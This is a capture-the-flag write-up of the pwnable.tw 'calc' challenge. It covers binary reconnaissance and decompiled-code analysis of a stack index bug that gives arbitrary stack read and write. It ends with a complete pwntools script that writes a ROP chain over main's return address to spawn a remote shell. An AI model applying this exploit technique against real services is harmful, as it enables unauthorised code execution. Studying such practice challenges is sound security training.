Introduction
On our last hackathon, Malfunction, Scotch and me tried to beat several CTFs. This article sums up the results of challenge #3 on pwnable.tw. The basic settings are:
- A calculator service runs on chall.pwnable.tw, port 10100.
- The corresponding calc binary can be downloaded for analysis.
- Send malicious input to the calculator to spawn a shell and find the flag on the file system.
No matter whether you use the online service or start the local binary, you can do some basic calculations:
=== Welcome to SECPROG calculator ===
1+2
3
8/2
4
Merry Christmas!
The calculator is pretty straight forward: You enter a set of operands, operators, hit newline and get a result. Sending a second newline character quits the application.
The Binary
Lets have a first look at the binary itsef:
file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
It is statically linked which explains a size of 725K for a binary with a rather simple functionality. Good for us, because it may be really easy to find some usuable ROP gadgets. Lets check its security features:
$ checksec calc
[*] '/home/belial/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We have canaries and the stack is not executable. Finally, we take a look at the syscalls:
$ strace ./calc
...
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7f9d000
write(1, "=== Welcome to SECPROG calculato"..., 38=== Welcome to SECPROG calculator ===
) = 38
read(0, 1+1
"1", 1) = 1
read(0, "+", 1) = 1
read(0, "1", 1) = 1
read(0, "\n", 1) = 1
write(1, "2\n", 22
) = 2
read(0,...
Nothing special here, no file system usage, etc. The binary just uses read() to fetch user input and write() to print it on screen.
Segfaults
In the previous section, we gathered some general information. In this section, we play around with calc to trigger crashes with crafted input. Luckily, finding segfaults is easy but we had to play alot to reduce the corresponding input to a simple set of commands.
=== Welcome to SECPROG calculator ===
+10000
Segmentation fault (core dumped)
[92206.830690] calc[96454]: segfault at ff8d0c68 ip 00000000080493ff sp 00000000ff8c7010 error 4 in calc[8048000+a3000]
The second one is triggered the following way:
=== Welcome to SECPROG calculator ===
+100000+100000000
Segmentation fault (core dumped)
[ 763.088389] calc[2884]: segfault at ff9cf2ac ip 0000000008049160 sp 00000000ff96d760 error 6 in calc[8048000+a3000]
In both cases, the integers need a certain size to throw an exception. So, to sum things up:
- An unary operator and a large operand lead to an exception at EIP=0x080493FF
- An unary operator, a binary operator and operands with a certain size lead to an exception at EIP=0x08049160
C Code Analysis
We found input strings which cause segmentation faults in the calculator. During the next step, we started Ghidra to analyse the binary itself. We made heavy usage of Ghidras Assembler to C decompiler and renamed local variables to get a better understanding of the calculator. The main goal is to understand the crashes at EIP=0x08049160 and EIP=0x080493FF. So, lets start with the programs entry point:
void main(void) { signal(0xe,timeout); alarm(0x3c); puts("=== Welcome to SECPROG calculator ==="); fflush((FILE *)stdout); calc(); puts("Merry Christmas!"); return; }
The program sets a timeout which automatically quits after a certain amount of time. The most interesting part: This method has no stack cookie protection. We keep this is mind for later pwnage. The business logic itself implemented in calc():
void calc(void) { int ret_val; int in_GS_OFFSET; int literals_index; undefined4 literals_list [100]; undefined input_buffer [1024]; int local_10; local_10 = *(int *)(in_GS_OFFSET + 0x14); while( true ) { bzero(input_buffer,0x400); ret_val = get_expr(input_buffer,0x400); if (ret_val == 0) break; init_pool(&literals_index); ret_val = parse_expr(input_buffer,&literals_index); if (ret_val != 0) { printf("%d\n",literals_list[literals_index + -1]); fflush((FILE *)stdout); } } if (local_10 == *(int *)(in_GS_OFFSET + 0x14)) { return; } __stack_chk_fail(); }
The method begins and ends with the previously mentioned stack canary protection. The interesting local variables are:
- Input_buffer has a static size of 1024 and contains the user input.
- Literals_index and literals_list seem to be a struct and contain the parsed literals entered by the user. Literals_index points to the last element in the list.
Calc() performs a while(true) loop:
- Bzero() and init_pool() clear the input and literals buffer.
- Get_expr() reads the user input and stores the result in input_buffer.
- If no valid input exists, the program quits.
- Otherwise, the input is parsed, the final result is calculated and printed on screen.
As already mentioned above, parse_expr() calculates the result. Therefore when parse_expr() terminates, literals_index should be equal to one and literals_list[0] contains the calculation result as an integer. The segfault at EIP=080493ff occurs in the printf() statement. So the first conclusion is: Somehow literals_index is set to an invalid value due to the input “+10000”. Next stop is parse_expr():
undefined4 parse_expr(void *input_buffer,int *literals_struct) { int literals_index; char *sub_expression_buffer; int ret_val; undefined4 function_ret_val; size_t sub_expression_size; int in_GS_OFFSET; void *copy_of_input_buffer; int buffer_index; int operators_index; char operators_buffer [100]; int stack_cookie; stack_cookie = *(int *)(in_GS_OFFSET + 0x14); copy_of_input_buffer = input_buffer; operators_index = 0; bzero(operators_buffer,100); buffer_index = 0; do { if (9 < (int)*(char *)((int)input_buffer + buffer_index) - 0x30U) { sub_expression_size = (int)input_buffer + (buffer_index - (int)copy_of_input_buffer); sub_expression_buffer = (char *)malloc(sub_expression_size + 1); memcpy(sub_expression_buffer,copy_of_input_buffer,sub_expression_size); sub_expression_buffer[sub_expression_size] = '\0'; ret_val = strcmp(sub_expression_buffer,"0"); if (ret_val == 0) { puts("prevent division by zero"); fflush((FILE *)stdout); function_ret_val = 0; goto LAB_0804935f; } ret_val = atoi(sub_expression_buffer); if (0 < ret_val) { literals_index = *literals_struct; *literals_struct = literals_index + 1; literals_struct[literals_index + 1] = ret_val; } if ((*(char *)((int)input_buffer + buffer_index) != '\0') && (9 < (int)*(char *)((int)input_buffer + buffer_index + 1) - 0x30U)) { puts("expression error!"); fflush((FILE *)stdout); function_ret_val = 0; goto LAB_0804935f; } copy_of_input_buffer = (void *)((int)input_buffer + buffer_index + 1); if (operators_buffer[operators_index] == '\0') { operators_buffer[operators_index] = *(char *)((int)input_buffer + buffer_index); } else { switch(*(undefined *)((int)input_buffer + buffer_index)) { case 0x25: case 0x2a: case 0x2f: if ((operators_buffer[operators_index] == '+') || (operators_buffer[operators_index] == '-')) { operators_buffer[operators_index + 1] = *(char *)((int)input_buffer + buffer_index); operators_index = operators_index + 1; } else { eval(literals_struct,(int)operators_buffer[operators_index]); operators_buffer[operators_index] = *(char *)((int)input_buffer + buffer_index); } break; default: eval(literals_struct,(int)operators_buffer[operators_index]); operators_index = operators_index + -1; break; case 0x2b: case 0x2d: eval(literals_struct,(int)operators_buffer[operators_index]); operators_buffer[operators_index] = *(char *)((int)input_buffer + buffer_index); } } /* Check whether we are at end of input buffer */ if (*(char *)((int)input_buffer + buffer_index) == '\0') { while (-1 < operators_index) { eval(literals_struct,(int)operators_buffer[operators_index]); operators_index = operators_index + -1; } function_ret_val = 1; LAB_0804935f: if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail(); } return function_ret_val; } } buffer_index = buffer_index + 1; } while( true ); }
The most interesting local variables are two arrays:
- Literals_index/literals_buffer[] contain the parsed literals
- Operators_index/operators_buffer[] contain the parsed operators.
Both are accessed in a do-while loop which iterates over user_input[] until it reaches an operator or a terminating null byte. In this case, the following algorithm is performed:
- The previous literal is copied into the sub_expression_buffer. If no literal exists (e.g. literals_index==0 because the expression starts with an unary operator), the buffer is empty
- If the content of sub_expression_buffer is equal to “0”, the function exists with a “prevent division by zero”.
- The content of sub_expression_buffer is converted to an integer. If the conversion is successful, the integer is copied into the literals_buffer[] and literals_index is increased by one. This assignment triggers the previously described second segfault at EIP=08049160.
- If the next character in the input buffer is not a number (e.g. two operators in a row) or a terminating null byte (in this case, the expression would end with an operator), “expression error!” is printed on screen and the function terminates. We will use this later in our exploit to stop the loop after we wrote successfully a dword on stack.
- The previous literal has been parsed successfully. Now, the the current operator is processed. If operator_buffer[] is empty, the current operator is stored and the functions main loop continues. If operator_buffer[] contains an element, the program assumes two literals are stored in literals_buffer[]. In this case, the corresponding sub-expression is evaluated, the result saved in literals_buffer[], the current operator is stored in operator_buffer[] and the functions main loop continues.
Bug Description
When the calc binary hits a second operator or the end of user input, it assumes two literals exist in literals_buffer[]. This assumption is wrong as demonstrated by the previously shown segfault examples. Both use an unary operator which leads to the following behaviour
- If you enter “+10000” into the calculator, the following variables are set: operators_buffer[] = {‘+’}, literals_index=1 and and literals_buffer[] = {10000}. As we already mentioned, calc tries to evaluate this expression which leads to operators_buffer[] = {}, literals_index=10001 and literals_buffer={}. The reason for this misbehaviour is: Only one operator was stored in literals_buffer[], therefore calc interprets the index as literal and performs an addition on it. Afterwards it terminates and printf() uses the wrong index to read from stack.
- If you enter “+100000+100000000”, the previously described misbehaviour overwrites literals_index to 100001. Afterwards, a second iteration starts, parses the next literal and tries to execute literals_buffer[10001] = 100000000.
Obviously, the first bug can be used to read any value from stack. The second bug allows us to write any value on stack. In the next chapter, we will debug the application to calculate to right offset to access the calculators function return values.
Stack Offset Calculation
As we already mention, main() is not protected by stack canaries. Therefore, our shell code is placed at main functions return value. Although we can write any value to the stack, we have to calculate the correct offset. So, lets start radare2 and set two breakpoints:
- Entry of main() to see the corresponding stack value
- EIP=080493ff in calc() to verify ESP and EPB during the read operation in printf()
Printf() reads the stack the following way: mov eax, dword [ebp + eax*4 – 0x59c] (the value in eax is printed on screen as format string) while ebp equals to 0xffffcc58
When we enter the main() function, rsp equals to 0xffffcc7c. Therefore, we can calculate our offset for overwriting main() function return value the following way:
0xffffcc58 + eax*4 - 0x59c = 0xffffcc7c
eax*4 - 0x59c = 0x24
eax*4 = 0x5C0
eax = 0x170 (decimal: 368)
Conclusion: “+368+x+” overwrites main() return value with x.
Final Exploit
We have calculated input values to overwrite stack return values and to avoid stack canaries. As mentioned above, the stack itself is not executable. Therefore, we chose return oriented programming as attack vector. Luckily, the static calc binary is huge and contains lots of rop gadgets. We start “ropgadget” and get a full rop chain which spawns a shell. Based on these values, we write the following exploit:
#!/usr/bin/python2 # coding: utf-8 def write_dword(offset, data): o1 = ((0xffffcc7c+offset) - 0xffffcc58 + 0x59c)/4 return ("+" + str(o1) + "+" + str(data) + "+\n") def get_shellcode(): p = [] p.append(0x080701aa) # pop edx ; ret p.append(0x080ec060) # @ .data p.append(0x0805c34b) # pop eax ; ret p.append(0x6e69622f) # 'bin' p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret p.append(0x080701aa) # pop edx ; ret p.append(0x080ec064) # @ .data + 4 p.append(0x0805c34b) # pop eax ; ret p.append(0x68732f2f) # '//sh' p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret p.append(0x080701aa) # pop edx ; ret p.append(0x080ec068) # @ .data + 8 p.append(0x080550d0) # xor eax, eax ; ret p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret p.append(0x080481d1) # pop ebx ; ret p.append(0x080ec060) # @ .data p.append(0x080701d1) # pop ecx ; pop ebx ; ret p.append(0x080ec068) # @ .data + 8 p.append(0x080ec060) # padding without overwrite ebx p.append(0x080701aa) # pop edx ; ret p.append(0x080ec068) # @ .data + 8 p.append(0x080550d0) # xor eax, eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x08049a21) # int 0x80 return p ''' Exploit local binary ''' from pwn import * # context.log_level = 'DEBUG' conn = remote('chall.pwnable.tw',10100) conn.recvline() print("Sending ROP payload:") payload_list = get_shellcode() counter = 0 for i in payload_list: payload = write_dword(counter,i) counter+=4 print(payload) conn.send(payload) conn.recvline() # Exit gracefully print("Leaving main() and opening Shell") conn.sendline() conn.interactive()